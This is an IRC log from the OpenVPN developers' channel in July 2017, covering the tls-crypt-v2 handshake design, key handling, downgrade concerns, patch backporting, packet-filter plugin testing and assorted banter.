<@cron2> syzzer: how do tls-crypt-v1 and tls-crypt-v2 interact (without having read the specs) 03:23 <@syzzer> tls-crypt-v2 is basically an extension to tls-crypt 03:23 <@syzzer> tls-crypt-v2 can be enabled next to (tls-crypt xor tls-auth) 03:24 <@syzzer> on the server, that is. The server detect on the first packet whether the client want to do tls-crypt-v2 or (tls-crypt xor tls-auth) 03:37 <@cron2> so there's some sort of "opcode" in the packet? 03:38 <@syzzer> there's a new opcode 03:38 <@syzzer> P_CONTROL_HARD_RESET_V3 03:40 <@syzzer> (hm, I should explain this better in the spec) 03:41 <@syzzer> (the man page entry informs users about the possibility, but the spec should explain *how* this should work) 04:24 <@ordex> syzzer: does --tls-crypt-v2 <key> imply --tls-crypt <key> on the server? if not, this could be doable, no ? 04:24 <@ordex> but this wouldmean giving to v1 clients the server key, which you may not want 04:30 * dazo is back :) 04:31 <@dazo> cron2, ordex: Regarding --route in --ccd, that would be a nice feature ... but tricky ... especially when you need to account for --user/group and --chroot 04:32 <@dazo> (now, the netlink patches ordex have had a stab on could make that simpler on Linux - but currently only for Linux I believe) 04:34 <@dazo> If going to support --route in --ccd, we should really rethink most of the routing configuration code ... one approach would be for non-netlink supported builds to fork out a root process with an interface for handling routes configs passed over from a pipe ... but that adds a lot of pitfalls too 04:41 <@syzzer> dazo: welcome back! 04:41 <@syzzer> sounds like "--route in ccd" is a typical wishlist feature :-P 04:42 <@dazo> yeah :) 04:42 <@syzzer> ordex: people should indeed not reuse keys for tls-crypt/tls-auth/tls-crypt-v2 04:42 <@syzzer> (between tls-auth and tls-crypt, it is *probably* not an issue, but we should still advise people to not reuse keys) 04:43 <@ordex> yup 04:43 <@dazo> ordex: I'll have a look at the patch for the auth-nocache + auth-token + management today ... we need to get that fixed :) 04:43 <@ordex> syzzer: I was imagining a way to have a server fallback to tls-crypt(-v1) automatically by having only v2 configured. but this can't really work like this 04:43 <@ordex> dazo: welcome back ! 04:43 <@ordex> :) 04:43 <@dazo> :) 04:43 <@ordex> I feel the force! 04:45 * dazo only sees the source so far :-P 04:45 <@ordex> :D 04:50 <@syzzer> dazo: LOL 04:51 <@syzzer> ordex: at some point we should fix problems by writing documentation, not code :) 04:51 <@ordex> wuuuut? 04:51 <@ordex> :P 04:52 <@ordex> syzzer: jokes apart, you are right, but 89% of the users won't read it 04:52 <@ordex> that's why I am for "less config knobs and smarter decisions code side" 04:52 <@dazo> ordex: I'd claim 98% of users won't read the code :-P 04:52 <@ordex> but when playing with security ... I am not sure this can be applied easily 04:53 <@ordex> dazo: yup, but the point was not documenting the code, rather make the code smarter so that it will do the right thing for those users that don't read the doc :P 04:53 <@dazo> I agree we need to improve docs .... at least we can scre^W say "RTFM!" 04:53 <@ordex> but again, when working on security knobs, you can't make many assumptions. better yell and stop 04:53 <@ordex> :D 04:53 <@dazo> agreed 04:54 <@ordex> syzzer: i.e. we could scream something when the path specified for tls-crypt-v2 and tls-crypt on the server is the same :-P 04:54 <@ordex> like a WARNING 04:54 <@dazo> Are we going to have two different options for --tls-crypt ... v1 and v2? 04:57 <@ordex> that is the idea as of now 04:57 <@cron2> syzzer: it's been on my wishlist for ages, but since I could actually implement it, I'm careful what I'm wishing for :-) 04:57 <@ordex> cron2: :D 04:58 <@dazo> ordex, syzzer: we should really find a far better way to handle tls-crypt v1 vs v2. We should avoid adding yet another option. Can we manage to detect what the remote side supports via OCC/peer-info? 04:58 <@dazo> and the use v2 if both sides supports it? 04:58 <@ordex> dazo: we can detect what version is being used by the client based on the opcode of the first packet 04:59 <@dazo> that's even better 04:59 <@ordex> but, as I was asking syzzer a bit above, we still want to configure a different key for v1 and v2 04:59 <@ordex> (if we want to have both enabled on the server at the same time) 05:00 <@ordex> dazo: and if we have one option, how do we tell the client to use v1 when the server supports only v1 ? 05:00 <@dazo> I agree that we ideally should have separate keys ... but when considering how long tls-crypt have been deployed ... is it really needed? I'd rather then have a flag to --tls-crypt which enforces v2 only 05:00 <@dazo> (or a v1 flag, if you want that way) 05:00 <@dazo> hmmm 05:01 <@ordex> yeah, but connecting to a v1 server would still be a problem, I think 05:01 <@dazo> client->server ... I see that can be more tricky ... what does a v1 only server do when it receives the v2 op-code? 05:01 <@cron2> dazo: OCD, peer-info - this is all stuff that happens long after tls-crypt has done the job of protecting the server TLS implementation... 05:01 <@ordex> cron2: drop it because it does not know it 05:01 <@dazo> cron2: yeah, I realised that after ordex said the thing about the opcode 05:02 <@ordex> dazo: the message above was for you: drop it because it does not know the new opcode 05:02 <@dazo> ordex: okay, so then client could (should?) interpret that as v2 not supported ... not sure if that is bad in regards to downgrade attacks 05:02 <@ordex> dazo: you mean the client waits for timeout and then retries with tls-crypt-v1 ? 05:02 <@dazo> yeah 05:02 <@ordex> wah 05:03 <@dazo> or .... it can connect with v1 .... and then if server supports v2, it can upgrade 05:03 <@dazo> (in all this, I still think we should have a v1-only/v2-only flag ... to --tls-crypt ... to tighten/enforce the expectations) 05:04 <@dazo> I'm also thinking of all this in regards to openvpn3 ... which have tls-crypt patches pending 05:09 <@ordex> dazo: I'd also like having one option on the server. still, I feel this is hard to be achieved because all this happens when bootstrapping the connection - hence no info is available on the other part 05:09 <@ordex> I'd also like having one option on the *client 05:10 <@dazo> ordex: right ... how hard would it be to upgrade from v1 to v2? 05:10 <@ordex> well, right how we have no way to understand that a v1 server actually supports v2 05:11 <@ordex> and assuming we know that, we could immediately reset the connection and start from scratch with the new opcode and setup v2 05:11 <@ordex> but again, not sure how to get there 05:11 <@dazo> fair enough ... but what if the connection got established with v1, and the server could push back some info 05:12 <@ordex> what I said above I think should work 05:12 <@ordex> the new opcode, actually is hard_reset_v3 05:12 <@dazo> either via an IV_ OCC/peer-info ... or even a --push 05:12 <@dazo> hmm 05:12 <@ordex> wah, that means we have done all the tls-handshake - what do we switch to v2 for? for the renegotiation only ? 05:13 <@ordex> the point of v2 is that v1 has a limited key space, so we want to use something bigger ( syzzer correct me if I am wrong ), so using v1 this much would partly defeat the purpose 05:15 <@cron2> "establish with v1, then switch to v2" won't work in the general case, as v1 is "all clients have the same key" vs. v2 is "every client has a different key" 05:16 <@cron2> so, a v2-enabled client does not have the "shared v1 key" (in the general case) 05:16 <@ordex> true as well 05:16 <@dazo> fair enough ... I'm just thinking an upgrade to v2 would be better than to stay on v1 ... and for the tighter configurations, providing '--tls-crypt tls.ta v2only' would remove the upgrade path and use only v2 ... but that needs to be deployed on both sides 05:16 <@cron2> syzzer: but... do we really care? We have TLS, and session cipher/auth. Because we do not trust TLS, we wrap this in tls-crypt. Because this might be broken in a few 100 years, we wrap it in another layer that does negotiations (of some sort). 05:16 <@dazo> so ... how is the tls-crypt-v2 keys handled? 05:17 <@cron2> I'm not convinced yet that this way lies sanity 05:17 <@ordex> dazo: RTFM! :D 05:17 <@dazo> lol! which docs, ordex!! :-D 05:17 <@ordex> dazo: syzzer sent it to the ml! :D:D 05:17 <@ordex> haha 05:17 <@dazo> :-p 05:18 <@ordex> cron2: imho the good point of v2 is that the clients do not share the key. this means that a malicious client can't decrypt the tls-handshake of another client 05:18 <@ordex> this for me is more important that the rest 05:18 <@ordex> (although this leads to client fingerprinting...that many providers may not want) 05:18 <@cron2> but what is there to be learned from decrypting another client's tls-handshake? 05:19 <@plaisthos> ordex: does it? 05:19 <@ordex> that in pq in you can retrieve the keys, no? :D 05:19 <@ordex> plaisthos: what exactly? 05:19 <@plaisthos> sure from the server perspective but a third party? 05:19 <@ordex> plaisthos: any client has the same key used to encrypt the tls packets, thus any of them can remove the tls-crypt layer 05:20 <@ordex> cron2: pq == post-quantum scenario, which is what we are trying to defend here, no ? 05:20 <@cron2> ordex: ok, I can see PQ here. But it still seems to be the way to insanity to stack crypto on crypto 05:21 <@ordex> cron2: well v2 is not stacking crypto on crypto, but just doing v1 differently 05:21 <@dazo> ordex, syzzer: silly and uneducated question: Why can't we use --key (or even xor it with the tls-crypt key and/or the --cert pubkey) for the tls-crypt-v2 key instead of rolling yet another set of keys? 05:21 <@ordex> imho some providers may perfer v1 and some may prefer v2 05:21 <@plaisthos> ordex: in regard to client fingerprinting 05:21 <@ordex> plaisthos: yes, the first packet contains a static area that is always the same for the same client - can be improved 05:22 <@cron2> ordex: v1 is stacking crypto on crypto already, and you add per-client crypto to per-client crypto... 05:22 <@plaisthos> dazo: you need a *shared* secret 05:22 <@ordex> dazo: in v2 we don't need only a new key but we also need a token encrypted with the server key. this is all fed to the v2 option 05:22 <@ordex> cron2: yeah :D 05:23 <@dazo> ordex: ahh, okay :/ 05:23 * dazo will test the patches before suggesting anything more :) 05:23 * cron2 needs to think more 05:25 <@cron2> dazo: something completely different - syzzer and ordex have been busy sending cleanup/refactoring patches for misc.c and ntlm.c. We normally don't do refactoring in release/ branches, but I have decided to cherry-pick that stuff nonetheless, because ntlm.c sucks so much (= bugfixing will be impossible to maintain if we do not take in these cleanup patches), and misc.c is to pave the way toward 05:25 <@cron2> better testing modularity 05:25 <@dazo> agreed! I think that's a good idea! 05:25 <@cron2> in general, I still stick to "refactoring should only go to master" 05:25 * ordex too 05:26 <@cron2> this is something I really need to write down - "what I think which patches should go where, and why" 05:26 <@dazo> I'll will now wipe some dust off my plug-in test program too ... I put that on hold because of misc.c requiring to include almost everything else 05:26 <@ordex> we don't want to rush to fix bugs introduced by some smart cleanup :P 05:27 <@dazo> yeah, I agree ... but currently the gap between 2.4 and master is fairly small ... so it is reasonable to clean-up all that mess 05:27 <@cron2> ordex: definitely, but imagine someone finds a security issue in ntlm.c, and release/2.4/ntlm.c looks totally different from master/ntlm.c... so, case-by-case 05:27 <@dazo> and ... it makes the compilers be less nasty when needing to parse through ntlm.c ... also for v2.4 builds 05:27 <@cron2> the big refactoring patches I see coming up (route.c, tun.c) are something I'm thinking of as "master only" 05:27 <@dazo> agreed! 05:28 <@cron2> good :) - ok, back to work. Write this all down, then discuss and agree on the hackathon... 05:28 <@dazo> :) 05:28 <@ordex> cron2: yeah ... don't know what to say .. I'd still like critical bug fixes to be sent against the release they are fixing, and then have them forwardported to master (should be easier) 05:29 <@ordex> yeah good :) 05:29 <@cron2> ordex: there is a bit of "it depends" leeway here :) 05:29 <@ordex> hehe yeah 05:30 <@cron2> if someone finds a bug in 2.3 and the code path in question does not exist in 2.4 anymore, I'm not insisting on a patch for master :) 05:46 <@syzzer> oh, wow, I went for lunch and you started redesigning tls-crypt-v2 :') 05:48 <@syzzer> I think a number of your questions should be answered by the (introduction of) the spec. In particular: tls-auth and tls-crypt are very useful for relatively small deployments, but have limited to no effect for large organisations (thousands of users with the same key, how secret is that key really?) or vpn providers (where you don't trust your clients) 05:49 <@syzzer> tls-crypt-v2 now also offers DoS protection for large deployments and vpn providers 05:50 <@syzzer> and privacy by encrypting the certificate, like tls-crypt does, of course 05:51 <@syzzer> the other gains are more-or-less collateral: better key lifetime, "poor-mans PQ" 05:54 <@syzzer> that should also partly answer dazo's questions: v2 is some logic "on top of" v1, so it really needs extra config options. I don't think it then matters whether those extra options are "tls-crypt key [extra1] [extra2] [etc]" or "tls-crypt-v2 [extra1] [extra2]" (even more, I think the second is easier to understand 06:01 <@cron2> syzzer: going to lunch is dangerous when dazo is around 06:06 <@syzzer> dazo: wrt to "mixing in" --key, I considered such ideas, but it's too tricky. e.g. tls-crypt-v2 still requires that all servers share the same tls-crypt-v2 server key, while ideally all servers should have a unique --key 06:07 <@syzzer> cron2: heh, going to lunch is often dangerous :') 06:09 <@syzzer> then, wrt fallback: yes, that allows for downgrade attacks. And apart from that, I think we should really not implement fallback scenarios for individual (pre-handshake) options, but rather allow such options in a <connection>. But I don't want to pull that into this patch set, one thing at a time :) 06:51 <@ordex> yeah the connection thing would basically work like the downgrad scenario we mentioned before 06:57 <@dazo> syzzer, ordex: Good answer, even though not sure I'm too happy ... I do agree that the downgrade attack possibility is a no-go. But it would be good to avoid adding more options .... is there something in the meta-data you mention in the tls-crypt-v2 keys which could be used to switch to v2 mode? 06:57 <@dazo> My biggest concern is confused users when given too many options ... and our option list is already way too long 06:58 <@dazo> so adding another option being somewhat related to an existing option is less than ideal, IMHO 07:00 < hiya> using /dev/shm better than /dev/null ? 07:00 < hiya> for tmp-dir ? 07:01 <@dazo> ehh!? wtf?! 07:01 <@dazo> hiya: /dev/shm is not remotely comparable of functional identical to /dev/null in any aspects 07:01 <@dazo> s/ of / or / 07:02 <@dazo> it's like asking: "Can I use this boat engine on this bicycle?" 07:03 <@dazo> that said, --tmp-dir /dev/null will most likely make openvpn explode when it tries to write some temp files 07:03 < hiya> Basically I want system not to log anything, so I sent logs to /dev/null but someone suggested me to create /dev/shm and chroot things 07:04 <@dazo> you do know what /dev/shm is? 07:04 <@dazo> and you know what /dev/null is? 07:04 < slypknot> isn't that a config option ? 07:04 < hiya> ok i would study more. thanks 07:04 <@dazo> using /dev/null for --log will work .... but not --tmp-dir 07:05 <@dazo> hiya: I think you most of all want --verb 0 and keep logs 07:07 <@dazo> cron2: anything in your git push pipe? 07:09 <@syzzer> dazo: client-side we could "hide" that we're doing tls-crypt-v2 by detecting the key type, but I'm not sure that actually improves things... 07:09 <@dazo> It gives less options to care about 07:10 <@syzzer> (just to be explicit: that I'm not immediately convinced doesn't mean I don't appreciate the comments. I think it's good that you are challenging the design!) 07:10 <@dazo> and I am also having openvpn3 in my mind here too ... where tls-crypt patches is under review, so when we're adding new options to openvpn 2.x, it's needed to to the same there too - to be compatible 07:12 <@syzzer> dazo: I understand that, but that shouldn't change anything. For both v2 and v3, we want a nice way to configure it. 07:12 <@dazo> yeah 07:13 <@dazo> But I will need to test the patches ... and get my hands more dirty on the real stuff, not just the foilware :) 07:13 <@syzzer> yes please :D 07:14 < hiya> Yes, but I am asking if I should use /dev/shm for tmp-dir and also use chroot? Does chroot help ? 07:15 <@dazo> hiya: all this is far more #openvpn questions ... but yes, --chroot have some advantages on the security side when coupled with --user/--group ... but there are pitfalls too 07:16 <@ordex> hiya: btw this is more for #openvpn rather than #openvpn-devel (if you really don't want to ask in a more appropriate channel :P) 07:17 < hiya> dazo, I was banned there along back for joking about getting book of OpenVPN from bad sources if someone could not afford it, as I did not have Visa card back then 07:17 < hiya> for --user/--group I create separate with least rights 07:18 < hiya> Thanks for help Sir(s) 07:18 <@dazo> well, then .... keep this discussion -devel releated here, hiya ... no more end-user support 07:18 < hiya> I understand 07:19 < hiya> Sorry 07:20 < slypknot> hy 07:21 < slypknot> hiya: create a new freenode account and go to #openvpn .. simple :) 07:21 < hiya> slypknot, I like to apologize and wait 07:21 < hiya> I help people to harden ovpn configurations and install their own ovpn instances with latest features. 07:22 < slypknot> could be a long wait .. if you got perma-ban may never happen 07:22 * slypknot leaves it a that 07:22 < hiya> slypknot, I waited for more than 1y now. 07:25 <@cron2> dazo: nothing in my pipe, feel free to merge&push if you want (and let me know if you're done, I wanted to go for the ntlm stuff tonight) 07:29 <@dazo> cron2: reviewing the management + auth-token + auth-nocache fix from ordex now ... testing and code looks good, so wanted to get that out 08:28 <@vpnHelper> RSS Update - gitrepo: management: preserve wait_for_push field when asking for user/pass <https://github.com/OpenVPN/openvpn/commit/3322c558fa742cb823fa919f682486973abc4f8e> 08:29 <@dazo> CRCinAU: ^^^^ 08:29 <@dazo> CRCinAU: in the pipe for v2.4.4 08:32 <@ordex> yay! 08:32 <@ordex> :] 08:35 <@dazo> Now I'm pondering on glaring at your netlink patches, ordex :) 08:35 <@dazo> but first after some food :) 08:35 <@ordex> oh 08:35 <@ordex> that's going to take some time :) 08:35 <@ordex> I mean the patch 08:35 <@ordex> (but maybe also the food :P) 08:37 <@dazo> ordex: wine/beer is too costly for "everyday lunches" in Norway ... so shouldn't take that long :-P 08:37 <@ordex> :D 08:39 <@plaisthos> I found Finnland expensensive and that is the "cheap" Skandinavian country 08:39 <@dazo> a pint of beer or a glass of wine is in the region of €8 to €12 where I have my office 08:39 <@syzzer> heh, I have a friend from Sweden who is always shouting that Finland *is not part of Scandinavia!* 08:39 <@ordex> :D 08:39 <@dazo> lol 08:42 <@ordex> dazo: and I know the feeling about the cost .... that's why I have a wine cellar in my office :D 08:42 <@ordex> "for the emergency" 08:42 <@dazo> hmmmmmmmmmmm 08:42 <@dazo> I could probably fit a wine cooler under my office desk ..... 08:43 <@dazo> wonder if I could put that cost on my company somehow ......... 08:43 <@dazo> :-P 08:43 <@ordex> :D 08:44 <@ordex> wellllll 08:44 <@ordex> such things should not be discussed on irc :D 08:44 <@dazo> lol 09:02 <@syzzer> ordex: found an issue in my tls-crypt-v2 implementation: https://github.com/syzzer/openvpn/commit/1fbb8407 09:02 <@vpnHelper> Title: tls-crypt-v2 handshake fixup: reject non-wrapped packets · syzzer/openvpn@1fbb840 · GitHub (at github.com) 09:03 <@ordex> uhm 09:04 <@ordex> syzzer: these are combined situations, right? server v2 and client not and viceversa 09:05 <@dazo> ordex: just a quick question before I head out .... is your netlink branch up-to-date with master? 09:06 <@syzzer> we introduced the V3 opcode to allow a server to accept both tls-crypt-v2 and (tls-crypt xor tls-auth) pconnections 09:06 <@syzzer> simultaneously 09:06 <@ordex> yeah 09:06 <@ordex> dazo: not sure, I will check 09:07 <@syzzer> but in my implementation, if only tls-crypt-v2 was specified, I would accept connection without any tls-crypt or tls-auth 09:07 <@ordex> dazo: not really. I can rebase 09:07 <@ordex> oh ok 09:08 <@ordex> dazo: that branch even contains quite old patches that are still pending on the ml and that do not apply anymore :P good time to rebase 'em all! 09:15 <@ordex> dazo: I just rebased my branch on top of master. Will push-force now 09:17 <@ordex> syzzer: I just rebased your "reformatting: fix style in crypto*.{c, h}" - do you want me to send it over the ml ? :P 09:31 <@plaisthos> syzzer: "The North" 09:35 <@ordex> plaisthos: when we discussed about my patch "PF: never drop essential ICMPv6 packets", what was the final conclusion ? 09:35 <@ordex> do you recall? 09:39 <@syzzer> ordex: I have a rebased version of that patch in my tree 09:39 <@syzzer> so I can probably better resend it myself :) 09:41 <@syzzer> (tonight or tomorrow, don't have it here @ work) 09:41 <@ordex> sure :) 10:39 <@dazo> ordex: thx! 10:39 <@ordex> np! 10:44 <@plaisthos> ordex: not really 10:44 <@plaisthos> to hard to decide :) 10:44 <@ordex> plaisthos: :D 10:44 <@ordex> ok 10:44 <@ordex> maybe I just throw the patches at the ml and see what the audience says :D 10:44 <@plaisthos> I first toyed with the idea of integrating my icmp6 reject into the ipv6 firewall 10:45 <@plaisthos> but that got so complicated that I did not want to rewrite almost the whole PF framework 10:45 <@ordex> :D 10:45 <@ordex> hehe 17:23 < slypknot> ordex: your ipv6pf repo (OpenVPN 2.5_git [git:origin/ipv6pf/cf5dabbf4520ef2a]) does not have --packet-filter-dir any more ? 17:34 < slypknot> sorry .. just me botching git .. found it now 18:11 < CRCinAU> dazo: winrar 20:02 < slypknot> ordex: --enable-pf is now required ? 20:08 <@ordex> slypknot: I did not change anything yet 22:03 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Read error: Connection reset by peer] 22:12 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:12 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Tue Jul 25 2017 00:22 < hiya> Sir, is this related to privatetunnel? I see that there is no support officer there. I can work 24x7 on and off. 00:29 <@ordex> hiya: privatetunnel is a commercial service provided by OpenVPN Technologies 00:29 <@ordex> you can ask about that in #openvpn-as 00:29 <@ordex> !as 00:29 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server 00:33 < hiya> ok 00:33 < hiya> thanks 02:02 <@cron2> whee 02:02 <@cron2> netbsd learns IP_PKTINFO for sendmsg(), so --multihome should finally work there 02:43 <@ordex> when will the Us understand that the ecnryption export law is just obsolete and only annoyes people .-. 02:44 <@cron2> US (administration) is not big on understanding right now 02:45 <@ordex> true, but i think we can consider this law obsolete since at least 15 years 02:45 <@ordex> but yeah - what can we expect.. 04:45 < slypknot> ordex: i cloned your git repo, switched to origin/ipv6pf and did the normal build and it does not inckude --packet-filter-dir, so i have to do configure --enable-pf to get that functionality 04:45 < slypknot> tested 3 times 04:45 <@ordex> ah ok 04:46 <@ordex> I did not touch that part now 04:47 < slypknot> even without --enable-pf, openvpn --version shows enable_pf=yes but no --pf-dir 04:48 <@ordex> uhm 04:48 <@ordex> interesting 04:48 <@ordex> yeah i think yes is the default 04:48 < slypknot> well maybe i did something else wrong 04:48 <@ordex> strange the options is disabled though 04:49 < slypknot> i built for windows before but i can't remember if there were extra hoops to jump thru ;) 04:49 < slypknot> any way it all works once built (win + linux) 04:50 < slypknot> just one question: it only checks destination IP 04:50 <@ordex> yes, the source is expected to be the client for which the rule is applied 04:51 < slypknot> ah .. well it does not care if it is not 04:51 < slypknot> for example 04:51 < slypknot> (i have to test ipv6 for this as well but this is ip v4) 04:51 <@ordex> what do you mean with "it is or not" ? 04:52 < slypknot> i mean if the source is not the client tun IP it can pass so long as the dest ip is whitelisted 04:52 < slypknot> i am using --iroute to attach remote LANS 04:53 < slypknot> the remote LAN is only known via --iroute/-route but it can pass the pf 04:53 < slypknot> the pf has no info on the remote lan only the dest ip 04:54 <@ordex> slypknot: I think traffic coming from that lan will be marked like coming from the client, so equally treated 04:55 <@ordex> and no, Idon't you think you can filter only certain source ip 04:55 < slypknot> ok 04:55 < slypknot> no problem .. just getting my head around it .. i looked at the source but it is a bit over my head (I almost understand some of it) 04:55 <@ordex> hehe 04:56 < slypknot> :) 04:56 < slypknot> cheers 04:58 < slypknot> would it be worth me testing the old plugin method for you ? 04:58 <@ordex> if you know it was supposed to work ...... yeah 04:58 <@ordex> that wouldbe nice, because I still need to understand that 04:58 < slypknot> to see if it can be configured both ways (but not at the same time) 04:59 <@ordex> yeah 04:59 < slypknot> if so .. i think you could submit it 04:59 < slypknot> i'll git it a shot 04:59 < slypknot> giv* 05:39 <@syzzer> ordex, slypknop: see dazo 05:40 <@syzzer> dazo's "[PATCH] plugins: Replace defer/simple with an improved replacement" on the list for an example pf plugin 05:40 <@ordex> syzzer: yeah, the question was more "what is the pf plugin expected to do?" 05:40 <@ordex> dazo said it is supposed to inject rules, but nobody ever saw that in action 05:41 <@syzzer> he does that in his sampe plugin 05:41 <@plaisthos> https://github.com/schwabe/ics-openvpn/issues/731 05:41 <@vpnHelper> Title: How to receive account information in another mobile phone login, and then forced off the assembly line · Issue #731 · schwabe/ics-openvpn · GitHub (at github.com) 05:41 <@ordex> ah 05:41 <@plaisthos> sometimes people report the weirdest things .. 05:42 <@plaisthos> And then there is they guy who wonders why OpenSSL does not build with no-asm and wants it to fix it for him (https://github.com/schwabe/ics-openvpn/issues/729) 05:42 <@vpnHelper> Title: Building error when adding no-asm argument to openssl.config · Issue #729 · schwabe/ics-openvpn · GitHub (at github.com) 05:42 <@ordex> :D 05:44 <@syzzer> plaisthos: you're being too nice in #729, I would have closed that right away :p 05:45 <@syzzer> "building with no-asm is not supported" -> invalid, closed. 05:46 <@plaisthos> hehe 05:46 <@plaisthos> but really fuck that guy getting OpenSSL to build in the first place was hard enough 05:47 <@plaisthos> and I wonder if it actually works at all on non x86 platform 05:47 <@ordex> more interesting: what kind of comparison do you want to perform on a non-used/invalid configuration ? 05:56 < slypknot> syzzer: it looks like dazo's new plugin for pf basically kills the backreference one (ordex) 05:57 < slypknot> thanks for pointing the email out tho 05:58 * slypknot working tru it now 05:58 < slypknot> may take a while .. 05:59 <@ordex> slypknot: if you find something out, feel free to shout in this direction :) 06:00 < slypknot> I have been rather shouting at my screen .. thanks dazo ! ;) 06:01 < slypknot> does anybody remember that old youtube vid of the guy who can't get his pc to work and eventually destroys it completely .. see me now ! 06:01 <@ordex> lol 06:04 < slypknot> syzzer: ordex: dazo's "plugins: Replace defer/simple with an improved replacement" has not been applied to master so it should not be an issue yet .. I must be doing something else wrong .. probably need to ./configure --enable-pf ... 06:04 * slypknot has to go out for now .. will come back later 06:05 <@ordex> ejoy :) 06:05 <@ordex> enjoy* 06:07 <@dazo> slypknot: nah, I wouldn't say my example plugin replaces the backreference plugin ... iirc, the backreference plugin is based on the old sample plugin .... but my reworked plugin is a massive clean-up of the old stuff 06:08 <@ordex> maybe I should review your patch as an exercise to get deeper into the plugin thing 06:08 <@ordex> "maybe" 06:08 <@ordex> :P 06:09 <@dazo> slypknot: and ... I need to fix a lot of minor stuff in the patch on the ML before it'll be applied .... so still WIP :) 06:17 <@syzzer> ordex: I already reviewed the the sample plugin, the ball is @ dazo to process the comments now 06:18 <@ordex> even better :-P 06:34 < slypknot> dazo: i don't recall having to use ./configure --enable-pf before but now it seems to be required .. any ideas ? 06:55 <@dazo> slypknot: that should not be needed ... unless you have --disable-pf before --enable-pf ... or you've done some tricks in ./configure.ac .... PF is enabled by default 06:55 <@dazo> openvpn --version | grep --colour enable_pf 06:56 <@dazo> I see: enable_pf=yes 06:56 <@dazo> and I don't use --enable-pf nor --disable-pf 06:56 <@dazo> when running ./configure 07:27 < slypknot> OK - something has changed between git-2.4 and git-master : master does *not* add per client pf temp file spec to env while 2.4 does! 07:27 < slypknot> on --client-connect that is 07:28 < slypknot> same server.conf, same plugin, same script .. only difference is systemd unit Execstart= either 2.4 or master 07:32 < slypknot> and that unit is my own (not openvpn-server@*) so it has only very basic settings eg: type=forking & privatetmp=true 07:39 < slypknot> hmm . hang on 07:39 <@ordex> slypknot: ? 07:39 <@ordex> :O 07:40 < slypknot> nope .. i was wrong 07:41 < slypknot> ordex: i think it may only your ipv6pf version that no longer sets per client pf temp file in env 07:41 <@ordex> slypknot: right 07:41 <@ordex> because it uses the dir thing 07:42 < slypknot> yeah .. i guess so 07:43 < slypknot> oh well . i don't think your version can run either plugin or --paket-filter-dir depening on config at the momemt 07:44 <@ordex> right now in my branch the plugin support has been removed completely 07:44 < slypknot> ok 07:44 <@ordex> but could be reintroduced and deactivate the --paket-filter-dir knob when used 07:44 < slypknot> so why you did not tell me that in the first place ..... :( 07:44 <@ordex> that the plugin has been deactivated ? 07:44 < slypknot> nvm 07:45 <@ordex> the removal of the plugin support was one of the corepoint of our previous discussions - I thought it was clear 07:45 <@ordex> :S 07:45 <@ordex> sorry 07:45 < slypknot> the purpose of my test was to see if your changes would break current setups or if either method could be used by config .. 07:46 < slypknot> no problem ;) 07:46 < slypknot> crossed-wires :) 07:48 < slypknot> if you can factor the plugin method to sit side by side with your filter-dir method in one binary (but allow only one type of config for each server.conf) then your method could be added to master .. if not then i don't know what will happen .. but it feels like a waste of time if yours does not get in to master :/ 07:51 <@ordex> slypknot: the former you said 07:51 <@ordex> my goal is to understand what the plugin was doing 07:51 <@ordex> and squeeze it back in my logic 07:52 < slypknot> http://backreference.org/2010/06/18/openvpns-built-in-packet-filter/ 07:52 <@ordex> yeah 07:52 < slypknot> it's quite simple i think 07:52 <@ordex> I followed this guide 07:52 <@ordex> and here the plugin does nothing 07:52 <@ordex> other than activating the pf logic 07:52 < slypknot> ok 07:53 <@ordex> this is why in principle i thought the plugin was useless 07:53 <@ordex> because i based my assumption on this document 07:53 < slypknot> i don't know what sets the $pf_file : openvpn or the plugin ? 07:54 < slypknot> ordex: this is just a nice to have thing so i am not gonna push you for it .. but it would be real nice if the two methods could work together 07:54 <@ordex> the plugin code is there, it is basically empty 07:54 <@ordex> yup 07:54 <@ordex> agreed 07:54 < slypknot> i am happy to test anything you want to throw my way : linux and windows 07:55 <@ordex> iOS! 07:56 < slypknot> not me ! 07:56 < slypknot> i meant wrt the v6pf 07:57 <@ordex> yeah I know ;P 07:58 < slypknot> when(if) you get time .. re-enable the plugin version in your branch and i'll test it thoroughly 07:58 < slypknot> i'll leave it with you till i hear more :) 07:59 < slypknot> and thanks btw :D 08:00 <@syzzer> our options-parser is totally weird... long arguments are split into 76-byte args? 08:00 <@ordex> why not ? 08:00 <@ordex> :D 08:01 * syzzer confused 08:02 < slypknot> that's new ^ 08:07 <@syzzer> hmm, code doesn't seem to split the argument... maybe my shell does? 08:08 <@ordex> maybe 08:08 <@ordex> 76 sounds like line wrapping ? 08:15 <@syzzer> gaaaah 08:15 <@syzzer> from man base64: 08:15 <@syzzer> -w, --wrap=COLS 08:15 <@syzzer> wrap encoded lines after COLS character (default 76). Use 0 to 08:16 <@syzzer> disable line wrapping 08:16 * syzzer goes for coffee 08:17 <@ordex> gnakke!! 08:26 <@plaisthos> syzzer: where do we do that? 08:26 <@plaisthos> ah there 08:27 < CRCinAU> so how do I go about getting my yubikey script included in 2.4.4? 08:29 <@plaisthos> is yubikey something standard or do they roll their own OTP? 08:30 < CRCinAU> its kinda their own kit 08:30 < CRCinAU> https://www.yubico.com/products/services-software/yubicloud/ 08:31 <@plaisthos> why? :/ 08:32 < CRCinAU> you can run your own HSM - but I don't know anyone that does 08:33 <@syzzer> CRCinAU: well, first you need to find someone who is willing to review perl ;-) 08:34 <@syzzer> all my brains can do when reading perl is throw interpreter errors 08:34 <@plaisthos> I successfully avoided perl my whole life (programming that is) 08:35 <@ordex> I have played with it once. I have to say it is not that bad. nice paradigma, but not sure why i would use it :D 08:35 <@plaisthos> I had worked with people that wrote typical perl scripts 08:35 <@ordex> are they still sane ? 08:35 <@plaisthos> So I tried to stay as far possible from that 08:36 < CRCinAU> yet people use python ;) 08:36 <@plaisthos> same say they never were 08:36 <@plaisthos> I like python 08:36 <@syzzer> python is awwful too, but at least I can parse it :p 08:36 < CRCinAU> syzzer: you can eyeball that many spaces? ;) 08:36 <@plaisthos> much less strange side effects you have to know about 08:37 <@ordex> plaisthos: because you know it, otherwise I wouldn't say that :P 08:37 <@syzzer> CRCinAU: yes, I cope with that a lot better than !@#$%*(*&$#@!@#$%-like strings 08:37 <@ordex> lol 08:37 < CRCinAU> why do people get so scared of using regex? 08:38 <@syzzer> (I will now shut up to prevent further derailing of the discussion) 08:38 < CRCinAU> heh - I wrote an XML parser in ~5-6 lines of perl - so eh 08:39 